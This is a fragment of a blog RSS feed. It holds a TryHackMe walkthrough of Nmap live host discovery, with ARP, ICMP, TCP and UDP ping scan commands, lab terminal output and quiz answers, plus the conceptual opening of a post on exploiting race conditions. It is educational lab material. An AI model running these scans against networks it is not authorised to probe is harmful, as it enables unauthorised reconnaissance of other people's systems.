src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=778b93193f83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Series: Nmap Live Host Discovery — Part 1.]]></title>
            <link>https://oluwakamiye.medium.com/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bab2c45f5de</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Sun, 17 May 2026 20:27:47 GMT</pubDate>
            <atom:updated>2026-05-17T20:27:47.421Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I walk you through the <strong>Nmap Live Host Discovery</strong> room in <strong>TryHackMe</strong>. I explore how to use Nmap to discover live hosts using ARP, ICMP, and TCP/UDP ping scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*u2Ts5MBCzWGtViKP" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Nmap is short for <strong><em>Network Mapper — </em></strong>it<strong><em> </em></strong>is a free, open-source software released under the GPL license, created by Gordon Lyon (Fyodor), a network security expert and open-source programmer. Nmap is an industry-standard tool for mapping networks, identifying live hosts, and discovering running services. Nmap’s scripting engine can further extend its functionality, from fingerprinting services to exploiting vulnerabilities. A Nmap scan usually goes through the steps shown in the figure below, although many are optional and depend on the command-line arguments you provide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2S0j7wy4Wi-epnzs.png" /></figure><h3>Learning Objectives</h3><p>When targeting a network, there’s a need to find an efficient tool to help handle repetitive tasks and answer the following questions:</p><ol><li>Which systems are up?</li><li>What services are running on these systems?</li></ol><p>The first question about finding live computers is answered in this room. <strong>This room is the first in a series of four Nmap rooms</strong>. The second question about discovering running services is answered in the next Nmap rooms, which focus on port scanning.</p><p>In this room, we will:</p><ul><li>Understand why host discovery is a necessary first step before port scanning, and why scanning offline systems wastes time and generates unnecessary noise.</li><li>Learn how ARP scans work at the link layer, using broadcast requests to identify live hosts within the same subnet.</li><li>Understand how ICMP echo, timestamp, and address mask requests can be used to discover live hosts across different network segments.</li><li>Learn how TCP SYN and ACK ping scans use transport-layer packets to detect online hosts, and understand the difference between privileged and unprivileged scan behaviour.</li><li>Understand how UDP ping scans trigger ICMP port-unreachable responses from closed ports to confirm a host is online.</li></ul><blockquote><strong><em>Subnetworks</em></strong></blockquote><p>Let’s review a couple of terms before we move on to the main tasks. A <em>network segment</em> is a group of computers connected using a shared medium. For instance, the medium can be an Ethernet switch or a Wi-Fi access point. In an IP network, a <em>subnetwork</em> is usually equivalent to one or more network segments connected to the same router. The network segment refers to a physical connection, while a subnetwork refers to a logical connection.</p><p>In the following network diagram, we have four network segments or subnetworks. Generally speaking, your system would be connected to one of these network segments/subnetworks. A subnetwork, or simply a subnet, has its own IP address range and is connected to a more extensive network via a router. Additionally, a firewall may be present between network segments, enforcing security policies on the traffic that passes between them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MQB7dIuodjsdqnWH.png" /></figure><p>The figure above shows two types of subnets:</p><ul><li>Subnets with /16, which means that the subnet mask can be written as 255.255.0.0. This subnet can accommodate around 65,000 hosts.</li><li>Subnets with /24, which indicates that the subnet mask can be expressed as 255.255.255.0. This subnet can have around 250 hosts.</li></ul><p>As part of active reconnaissance, we want to discover more information about a group of hosts or about a subnet. If you are on the same subnet, you would expect your scanner to use ARP Address Resolution Protocol (ARP) queries to discover live hosts. An ARP query aims to obtain the hardware address (MAC address) so that communication at the link layer is possible; however, it can also indicate that the host is online.</p><p>If you are in <strong>Network A</strong>, you can use ARP only to discover the devices within that subnet (10.1.100.0/24). Suppose you are connected to a subnet different from the subnet of the target system(s). In that case, all packets generated by your scanner will be routed via the default gateway (router) to reach systems on another subnet; however, ARP queries won’t be routed and therefore cannot cross the subnet router. ARP is a link-layer protocol, and ARP packets are bound to their subnet.</p><p><strong><em>Analogy:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*3Gf5yTXQ1iDNqzl2BaG2Ng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*W6fVwWvmXCIx-dh4EAjXNw.png" /><figcaption>Nmap: Network Simulator</figcaption></figure><p>Send a packet with the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/0*-Ant4YFb0xZ-Q51R.png" /></figure><ul><li>From <strong>computer1</strong></li><li>To <strong>computer1</strong> (to indicate it is broadcast)</li><li>Packet Type: “ARP Request”</li><li>Data: computer6 (because we are asking for computer6’s MAC address using ARP Request)</li></ul><p><strong>Q:</strong> How many devices can see the ARP Request?</p><p><strong>A: </strong>4</p><p><strong>Q: </strong>Did computer6 receive the ARP Request? (yea/nay)</p><p><strong>A:</strong> nay</p><p>Send a packet with the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/0*UdWYwgBgVmtgtRXD.png" /></figure><ul><li>From <strong>computer4</strong></li><li>To <strong>computer4</strong> (to indicate it is broadcast)</li><li>Packet Type: “ARP Request”</li><li>Data: <strong>computer6</strong> (because we are asking for computer6’s MAC address using ARP Request)</li></ul><p><strong>Q:</strong> How many devices can see the ARP Request?</p><p><strong>A:</strong> 4</p><p><strong>Q:</strong> Did computer6 reply to the ARP Request? (yea/nay)</p><p><strong>A:</strong> yea</p><blockquote><strong><em>Understanding Hosts Discovery Through TCP/IP Layer</em></strong></blockquote><p>Let’s revisit the TCP/IP layers shown in the following figure. We will leverage the protocols to discover the live hosts. Starting from bottom to top, we can use:</p><ul><li>ARP from Link Layer</li><li>ICMP from the Network Layer</li><li>TCP from the Transport Layer</li><li>UDP from the Transport Layer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r21WA3chyDMvIDFi.png" /><figcaption>OSI and TCP/IP Models</figcaption></figure><p>Before we discuss how each scanner can be used in detail, we will briefly review these four protocols. <strong>ARP</strong> has one purpose: sending a frame to the broadcast address on the network segment and asking the computer with a specific IP address to respond by providing its MAC (hardware) address.</p><p><strong>ICMP</strong> has <a href="https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml">many types</a>. ICMP ping uses Type 8 (Echo) and Type 0 (Echo Reply).</p><p>If you want to ping a system on the same subnet, an ARP query should precede the ICMP Echo.</p><p>Although TCP and UDP are transport-layer protocols, for network scanning, a scanner can send a specially crafted packet to common TCP or UDP ports to check whether the target responds. This method is efficient, especially when ICMP Echo is blocked.</p><p>Send a packet with the following:</p><ul><li>From <strong>computer1</strong></li><li>To <strong>computer3</strong></li><li>Packet Type: “<strong>Ping Request</strong>”</li></ul><p><strong>Q: </strong>What type of packet did <strong>computer1</strong> send before the ping?</p><p><strong>A: </strong>ARP Request</p><p><strong>Q:</strong> What type of packet did <strong>computer1</strong> receive before it was able to send the ping?</p><p><strong>A:</strong> ARP Response</p><p><strong>Q:</strong> How many computers responded to the ping request?</p><p><strong>A:</strong> 1</p><p>Send a packet with the following:</p><ul><li>From <strong>computer2</strong></li><li>To <strong>computer5</strong></li><li>Packet Type: “<strong>Ping Request</strong>”</li></ul><p><strong>Q:</strong> What is the name of the first device that responded to the first ARP Request?</p><p><strong>A:</strong> router</p><p><strong>Q:</strong> What is the name of the first device that responded to the second ARP Request?</p><p><strong>A: </strong>computer5</p><p><strong>Q:</strong> Send another Ping Request. Did it require new ARP Requests? (yea/nay)</p><p><strong>A:</strong> nay</p><blockquote><strong><em>Enumerating Targets</em></strong></blockquote><p>We mentioned the different techniques we can use for scanning in Task 1 (<strong>Introduction)</strong>. Before we explain each in detail and test it against a live target, we need to specify the targets we want to scan. Generally speaking, you can provide a list, a range, or a subnet. Examples of target specification are:</p><ul><li>List: MACHINE_IP scanme.nmap.org example.com will scan 3 IP addresses.</li><li>Range: 10.11.12.15-20 will scan 6 IP addresses: 10.11.12.15, 10.11.12.16,… and 10.11.12.20.</li><li>Subnet: MACHINE_IP/30 will scan 4 IP addresses.</li></ul><p>You can also provide a file as input for your list of targets, nmap -iL list_of_hosts.txt.</p><p>If you want to check the list of hosts that Nmap will scan, you can use nmap -sL TARGETS. This option gives you a detailed list of hosts that Nmap will scan without actually scanning them; however, Nmap will attempt reverse-DNS resolution on all targets to obtain their names. Names might reveal various information to the pentester. (If you don’t want Nmap to use the DNS server, you can add -n.)</p><h3>Connecting to the Network</h3><p>In this room, you will work with a small network consisting of one Windows host and one Ubuntu host to practice identifying live systems on a network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*H2GNuFRKOmp8q9YQtLBf5w.png" /></figure><p>When you open the room, you will see a network diagram showing the available hosts. To begin, click the Start button to deploy the network. Allow up to 2 minutes for all machines to initialise properly. Once the network has finished loading, launch the AttackBox by clicking the Start AttackBox button below. When the AttackBox opens in split view, open a Terminal and run Nmap to perform host discovery, then answer the questions in this room.</p><p><strong><em>Advice:</em></strong><em> </em>If you don’t have access to the AttackBox in this room, launch the AttackBox in another room and use it for tasks in these room.</p><p><strong>Q:</strong> What is the first IP address Nmap would scan if you provided 10.10.12.13/29 as your target?</p><p><strong>A:</strong> 10.10.12.8</p><p><strong>Q:</strong> How many IP addresses will Nmap scan if you provide the following range: 10.10.0–255.101–125?</p><p><strong>A:</strong> 6400</p><blockquote><strong><em>Nmap Host Discovery Using ARP</em></strong></blockquote><p>How would you know which hosts are up and running? It is essential to avoid wasting our time port-scanning an offline host or an IP address not in use. There are various ways to discover online hosts. When no host discovery options are provided, Nmap follows the following approaches to discover live hosts:</p><ol><li>When a privileged user tries to scan targets on a local network (Ethernet), Nmap uses ARP requests. A privileged user is root or a user who belongs to sudoers and can run sudo.</li><li>When a privileged user tries to scan targets outside the local network, Nmap uses ICMP echo requests, TCP ACK (Acknowledge) to port 80, TCP SYN (Synchronise) to port 443, and ICMP timestamp requests.</li><li>When an unprivileged user tries to scan targets outside the local network, Nmap resorts to a TCP 3-way handshake by sending SYN packets to ports 80 and 443.</li></ol><p>Nmap, by default, uses a ping scan to find live hosts, then proceeds to scan live hosts only. If you want to use Nmap to discover online hosts without port-scanning the live systems, you can issue nmap -sn TARGETS. Let’s dig deeper to gain a solid understanding of the different techniques used.</p><p>ARP scan is possible only if you are on the same subnet as the target systems. On an Ethernet (802.3) and Wi-Fi (802.11), you need to know the MAC address of any system before you can communicate with it. The MAC address is required for the link-layer header; it contains the source and destination MAC addresses, among other fields. To get the MAC address, the OS sends an ARP query. A host that replies to ARP queries is up. The ARP query only works if the target is on the same subnet as you, i.e., on the same Ethernet/Wi-Fi network. You should expect to see many ARP queries generated during a Nmap scan of a local network. If you want Nmap only to perform an ARP scan without port-scanning, you can use nmap -PR -sn TARGETS, where -PR indicates that you only want an ARP scan.</p><p>Since we can only scan the system on our subnet, we will use CONNECTION_IP to scan live hosts on the network, without any port scanning. We run nmap -PR -sn 10.200.6.0/24 to discover all the live systems on the same subnet as our target machine.</p><p>Terminal<br>root@ip-10–201–24–228:~# nmap -PR -sn CONNECTION_IP/24<br>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2026–02–04 15:43 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using — system-dns or specify valid servers with — dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using — system-dns or specify valid servers with — dns-servers<br>Nmap scan report for 10.201.24.228<br>Host is up.<br>Nmap done: 256 IP addresses (1 host up) scanned in 10.51 seconds</p><p>In this case, the AttackBox used ARP requests to discover live hosts on the same subnet. ARP scan works, as shown in the figure below. Nmap sends ARP requests to all target computers, and those that are online should reply with an ARP reply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YguR6flqQe832qr8.png" /></figure><p>If we observe the packets generated by tools such as tcpdump or Wireshark, we will notice traffic similar to what is shown in the figure below. In this example, Wireshark displays the source and destination MAC addresses, the protocol, and the ARP query for each request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/0*SmzGUXh826UVc1pv.png" /></figure><p>The source MAC address belongs to the AttackBox, while the destination MAC address is the broadcast address. This is expected, as the target host’s MAC address is not yet known. However, the target IP address being queried is visible in the Info column. As shown in the figure, ARP requests are sent sequentially to each IP address on the subnet, starting from 10.201.24.1.</p><p>When a host with the queried IP address is online, it responds with an ARP reply containing its MAC address. Receiving this reply confirms that the host is active and reachable on the network.</p><p>ARP scanning is particularly useful during post‑exploitation and internal network enumeration. Once an attacker gains access to a system within a network, ARP scans can be used to quickly and reliably identify other live hosts on the same local segment. Because ARP operates at Layer 2 and is often not filtered by firewalls, it is an effective tool for red-team operations and internal penetration testing.</p><p><strong>Q:</strong> How many hosts are found alive after scanning the CONNECTION_IP/24?</p><p><strong>A:</strong> 1</p><blockquote><strong><em>Nmap Host Discovery Using ICMP</em></strong></blockquote><p>We can ping every IP address on a target network and see who would respond to our ping (ICMP Type 8/Echo) requests with a ping reply (ICMP Type 0). Simple, isn’t it? Although this would be the most straightforward approach, it is not always reliable. Many firewalls block ICMP echo; new versions of MS Windows are configured with a host firewall that blocks ICMP echo requests by default. Remember that an ARP query precedes an ICMP request if your target is on the same subnet.</p><p>To use ICMP echo requests to discover live hosts, add the option -PE option. (Remember to add -sn if you don’t want to follow that with a port scan.)</p><p>As shown in the following figure, an ICMP echo scan sends an ICMP echo request and expects the target to reply with an ICMP echo reply if it is online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pQjkMyvFROnXUJ_u.png" /></figure><h3>Practical</h3><p>Using the AttackBox, we will scan the target’s subnet using nmap -PE -sn 10.200.6.0/24. This scan will send ICMP echo packets to every IP address on the subnet. Again, we expect live hosts to reply; however, it is wise to keep in mind that many firewalls block ICMP. The output below shows the result of scanning the virtual machine’s class C subnet using sudo nmap -PE -sn 10.200.6.0/24 from the AttackBox.</p><p><strong>Note</strong>: In the upcoming exercise, you are supposed to use the updated .ovpn file in the AttackBox or on your host to identify live hosts on the network.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# sudo nmap -PE -sn 10.200.6.0/24<br>sudo: unable to resolve host ip-10-201-66-6: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 11:51 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.200.6.1<br>Host is up (0.069s latency).<br>Nmap scan report for 10.200.6.50<br>Host is up (0.070s latency).<br>Nmap scan report for 10.200.6.250<br>Host is up (0.069s latency).<br>Nmap done: 256 IP addresses (3 hosts up) scanned in 3.38 seconds</pre><p>If you look at the network packets using a tool like Wireshark, you will see something similar to the image below. You can see that we have one source IP address on a different subnet than the destination subnet, sending ICMP echo requests to all IP addresses in the target subnet to see which will reply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*CBdfbXrt9w1IaKXc.png" /></figure><p><strong>ICMP Timestamp</strong></p><p>Because ICMP echo requests tend to be blocked, you might also consider ICMP Timestamp or ICMP Address Mask requests to tell if a system is online. Nmap uses a timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14). Adding the -PP option tells Nmap to use ICMP timestamp requests. As shown in the figure below, you expect live hosts to reply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LtBxu5uPT519tlT1.png" /></figure><p>In the following example, we run nmap -PP -sn 10.200.6.0/24 to discover the online computers on the target machine subnet.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# nmap -PP -sn 10.200.6.0/24<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 12:10 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.200.6.50<br>Host is up (0.069s latency).<br>Nmap scan report for 10.200.6.250<br>Host is up (0.069s latency).<br>Nmap done: 256 IP addresses (2 hosts up) scanned in 8.44 seconds</pre><p>Similar to the previous ICMP scan, this scan will send many ICMP timestamp requests to every valid IP address in the target subnet. In the Wireshark screenshot below (use tun0 interface in the AB), you can see one source IP address sending ICMP packets to every possible IP address to discover online hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*29WjpZvhzRU3mo4_.png" /></figure><p><strong>ICMP Type 17</strong></p><p>Similarly, Nmap uses address mask queries (ICMP Type 17) and checks whether it gets an address mask reply (ICMP Type 18). This scan can be enabled with the option -PM. As shown in the figure below, live hosts are expected to reply to ICMP address mask requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ch1YmB_X0NjbOqfu.png" /></figure><p>In an attempt to discover live hosts using ICMP address mask queries, we run the command nmap -PM -sn 10.200.6.0/24. Although earlier scans showed at least 2 hosts are up, this scan returned none. The reason is that the target system or a firewall on the route is blocking this type of ICMP packet. Therefore, it is essential to learn multiple approaches to achieve the same result. If one packet type is blocked, we can always choose another to discover the target network and services.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# nmap -PM -sn 10.200.6.0/24<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 12:15 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap done: 256 IP addresses (0 hosts up) scanned in 52.14 seconds</pre><p>Although we didn’t receive any reply and couldn’t determine which hosts were online, it is essential to note that this scan sent ICMP address-mask requests to every valid IP address and waited for a reply. Each ICMP request was sent twice, as shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*EtWKyoyBcVpTA2YW.png" /></figure><p><strong>Q:</strong> What is the option required to tell Nmap to use ICMP Timestamp to discover live hosts?</p><p><strong>A:</strong> -PP</p><p><strong>Q:</strong> What is the option required to tell Nmap to use ICMP Address Mask to discover live hosts?</p><p><strong>A:</strong> -PM</p><p><strong>Q:</strong> What is the option required to tell Nmap to use ICMP Echo to discover live hosts?</p><p><strong>A:</strong> -PE</p><blockquote><strong><em>Nmap Host Discovery Using TCP and UDP</em></strong></blockquote><p><strong>TCP SYN Ping</strong></p><p>We can send a packet with the SYN (Synchronise) flag set to TCP port 80 (80 by default) and wait for a response. An open port should reply with a SYN/ACK (Acknowledge); a closed port would result in an RST (Reset). In this case, we only check whether we receive a response to infer whether the host is up. The specific state of the port is not significant here. The figure below is a reminder of how a TCP 3-way handshake usually works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xuLzU8eSyAZQlKv3.png" /></figure><p>If you want Nmap to use TCP SYN ping, you can do so via the option -PS followed by the port number, range, list, or a combination of them. For example, -PS21 will target port 21, while -PS21-25 will target ports 21, 22, 23, 24, and 25. Finally, -PS80,443,8080 will target the three ports 80, 443, and 8080.</p><p>Privileged users (root and sudoers) can send TCP SYN packets and don’t need to complete the TCP 3-way handshake even if the port is open, as shown in the figure below. Unprivileged users have no choice but to complete the 3-way handshake if the port is open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ay4h8L3vXxP10mex.png" /></figure><p>We will run nmap -PS -sn 10.200.6.0/24 to scan the target VM subnet. As shown in the output below, we discovered two hosts.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# nmap -PS -sn 10.200.6.0/24<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 12:22 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.200.6.50<br>Host is up (0.070s latency).<br>Nmap scan report for 10.200.6.250<br>Host is up (0.068s latency).<br>Nmap done: 256 IP addresses (2 hosts up) scanned in 33.88 seconds</pre><p>Let’s take a closer look at what happened behind the scenes by looking at the network traffic on Wireshark in the figure below. Technically speaking, since we didn’t specify any TCP ports to use in the TCP ping scan, Nmap used the default TCP port, 80. Any service listening on port 80 is expected to reply, indirectly indicating that the host is online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*DE7NWCsQA6hnUwiq.png" /></figure><p><strong>TCP ACK Ping</strong></p><p>As you have guessed, this sends a packet with an ACK flag set. You must run Nmap as a privileged user to accomplish this. If you try it as an unprivileged user, Nmap will attempt a 3-way handshake.</p><p>By default, port 80 is used. The syntax is similar to TCP SYN ping. -PA should be followed by a port number, a port number range, a list, or a combination of them. For example, consider -PA21, -PA21-25 and -PA80,443,8080. If no port is specified, port 80 will be used.</p><p>The following figure shows that any TCP packet with the ACK flag set should receive a TCP packet with the RST flag set. The target responds with the RST flag set because the TCP packet with the ACK flag is not part of any ongoing connection. The expected response is used to detect if the target host is up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7_xh3hTH4WwpVmu9.png" /></figure><p>In this example, we run sudo nmap -PA -sn 10.200.6.0/24 to discover the online hosts on the target’s subnet. We can see that the TCP ACK ping scan detected two hosts as up.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# sudo nmap -PA -sn 10.200.6.0/24<br>sudo: unable to resolve host ip-10-201-66-6: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 12:33 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.200.6.50<br>Host is up (0.070s latency).<br>Nmap scan report for 10.200.6.250<br>Host is up (0.069s latency).<br>Nmap done: 256 IP addresses (2 hosts up) scanned in 36.64 seconds</pre><p>If we peek at the network traffic shown in the figure below, we will discover many packets with the ACK flag set, sent to port 80 on the target systems. Nmap sends each packet twice. The systems that don’t respond are offline or inaccessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*2JAJRk4ZgQ1rEFO5.png" /></figure><p><strong>UDP Ping</strong></p><p>Finally, we can use UDP to discover if the host is online. Unlike a TCP SYN ping, sending a UDP packet to an open port is not expected to elicit a reply. However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port-unreachable packet; this indicates that the target system is up and available.</p><p>In the following figure, we see a UDP packet sent to an open UDP port that does not trigger a response. However, sending a UDP packet to any closed UDP port can trigger a response indirectly, indicating that the target is online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dlvVKF0u2938OITo.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s51y1MR3IA8hhOAz.png" /></figure><p>The syntax to specify the ports is similar to that of TCP SYN ping and TCP ACK ping; Nmap uses -PU for UDP ping. In the following example, we run a UDP scan and discover two live hosts.</p><p>Terminal</p><pre>root@ip-10-201-66-6:~# sudo nmap -PU -sn 10.200.6.0/24<br>sudo: unable to resolve host ip-10-201-66-6: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-05 12:38 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.200.6.50<br>Host is up (0.070s latency).<br>Nmap scan report for 10.200.6.250<br>Host is up (0.069s latency).<br>Nmap done: 256 IP addresses (2 hosts up) scanned in 35.97 seconds</pre><p>Let’s inspect the UDP packets generated. In the following Wireshark screenshot, we notice Nmap sending UDP packets to UDP ports that are most likely closed. The image below shows that Nmap uses an uncommon UDP port to trigger an ICMP destination unreachable (port unreachable) error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*K_pwFGUAt0IUm7r_.png" /></figure><p><strong>Masscan</strong></p><p>On a side note, Masscan uses a similar approach to discover the available systems. However, to complete its network scan quickly, Masscan is quite aggressive in the rate at which it generates packets. The syntax is quite similar: -p can be followed by a port number, list, or range. Consider the following examples:</p><ul><li>masscan 10.200.6.0/24 -p443</li><li>masscan 10.200.6.0/24 -p80,443</li><li>masscan 10.200.6.0/24 -p22-25</li></ul><p>Masscan is not installed on the AttackBox; however, it can be installed using apt install masscan.</p><p><strong>Q:</strong> Which TCP ping scan does not require a privileged account?</p><p><strong>A:</strong> TCP SYN Ping</p><p><strong>Q:</strong> Which TCP ping scan requires a privileged account?</p><p><strong>A:</strong> TCP ACK Ping</p><p><strong>Q:</strong> What option do you need to add to Nmap to run a TCP SYN ping scan on the telnet port?</p><p><strong>A:</strong> -PS23</p><blockquote><strong><em>Using Reverse-DNS Lookup</em></strong></blockquote><p>Reverse DNS (rDNS) is the process of resolving an IP address to a hostname (the opposite of normal DNS). Instead of asking “<strong>What is the IP of example.com?</strong>”, you ask “<strong>What domain name is assigned to 10.200.6.15?</strong>”</p><p>In Nmap, using -R forces reverse lookups for all discovered hosts, while -n disables them. This helps identify system roles (e.g., mail.company.local, dc01.domain.com) and understand network structure during recon. However, rDNS records aren’t always configured or accurate, so results may be missing or misleading. It can also slightly slow scans due to additional DNS queries.</p><p>By default, Nmap will look up online hosts; however, you can use the option -R to query the DNS server even for offline hosts. If you want to use a specific DNS server, you can add the --dns-servers DNS_SERVER option.</p><p><strong>Q:</strong> We want Nmap to issue a reverse DNS lookup for all the possible hosts on a subnet, hoping to get some insights from the names. What option should we add?</p><p><strong>A:</strong> -R</p><blockquote><strong><em>Summary</em></strong></blockquote><p>You have learned how ARP, ICMP, TCP, and UDP can detect live hosts by completing this room. Any response from a host indicates that it is online. Below is a quick summary of the Nmap command-line options we covered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACkDh9F0BUZMn7ZhFzqp4A.png" /></figure><p>Remember to add -sn if you are only interested in host discovery without port-scanning. Omitting -sn will let Nmap default to scanning live hosts for ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAx-UcytAm7fNHB0IX8bsg.png" /></figure><p>Effective live host discovery with Nmap lays the foundation for any successful penetration test. Knowing which hosts are online ensures accurate scoping and efficient follow-up scans. Stay tuned for more hands-on recon and enumeration insights.</p><blockquote><strong><em>Conclusion</em></strong></blockquote><p>Here’s the link to the room on <strong>TryHackMe</strong>: <a href="https://tryhackme.com/room/nmap01">https://tryhackme.com/room/nmap01</a>. Check it out, and solve the lab, if you haven’t.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bab2c45f5de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Race Condition Vulnerabilities: How I Turned $100 into $1,000+]]></title>
            <link>https://oluwakamiye.medium.com/exploiting-race-condition-vulnerabilities-how-i-turned-100-into-1-000-fa34ad973ee2?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa34ad973ee2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Fri, 01 May 2026 19:34:31 GMT</pubDate>
            <atom:updated>2026-05-01T19:34:31.766Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I comprehensively discuss what race conditions are, how they affect web application security, and how to exploit them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*ZmByY7li8RMqt128KfI2iQ.jpeg" /></figure><p>Race conditions can affect virtually any web application that handles concurrent<strong> </strong>requests and relies on shared<strong> </strong>resources.</p><p>In a web application vulnerable to a race condition attack, it is possible to transfer $1,000 from a $100 account balance (I performed an actual illustration of this exploit in this write-up — read through), it is also possible to use the same discount voucher to your shopping cart multiple times. This goes to show the ruinous effect race conditions can have on web applications.</p><blockquote><strong><em>What is a Race Condition?</em></strong></blockquote><p>A Race Condition is a flaw where a system’s behavior depends on the timing or sequence of events.</p><p>It happens when two or more threads attempt to access and modify the same data at the same time. Because the system doesn’t finish updating the data before the next thread looks at it, the system ends up making decisions based on old or incorrect information.</p><p>Due to a lack of proper lock mechanisms and synchronization between the different threads, an attacker might abuse the system and apply a discount multiple times or make money transactions beyond their balance.</p><blockquote><strong><em>What is a Thread?</em></strong></blockquote><p>A thread is a lightweight unit of execution.</p><p>To understand race conditions, you must have an explicit understanding of how threads work.</p><p>Think of a thread as a single “path of execution” or a worker inside a program. While the <strong>program</strong> is the static set of instructions, the <strong>process</strong> is that program in action. The <strong>threads</strong> are the individual workers within that <strong>process</strong> that perform the actual tasks.</p><p>Because these workers share the same memory and data, a race<strong> </strong>condition occurs when they don’t coordinate (synchronize) their timing. They both try to read or change the same piece of information or resource at the exact same moment, leading to errors because the system fails to notify one worker that the other has already initiated a change.</p><p>Most modern applications are multi-threaded, meaning they contain multiple threads that run concurrently, sharing the same memory space to perform different tasks at the same time.</p><blockquote>Here is a practical illustration of how a thread works:</blockquote><p>Imagine a restaurant ticketing app where only one table is left for a couple’s<strong> </strong>reservation.</p><p>Two different users, Paul and Peter have a date with their respective spouses, both click the “Reserve Table” button at the exact same millisecond to reserve a table for 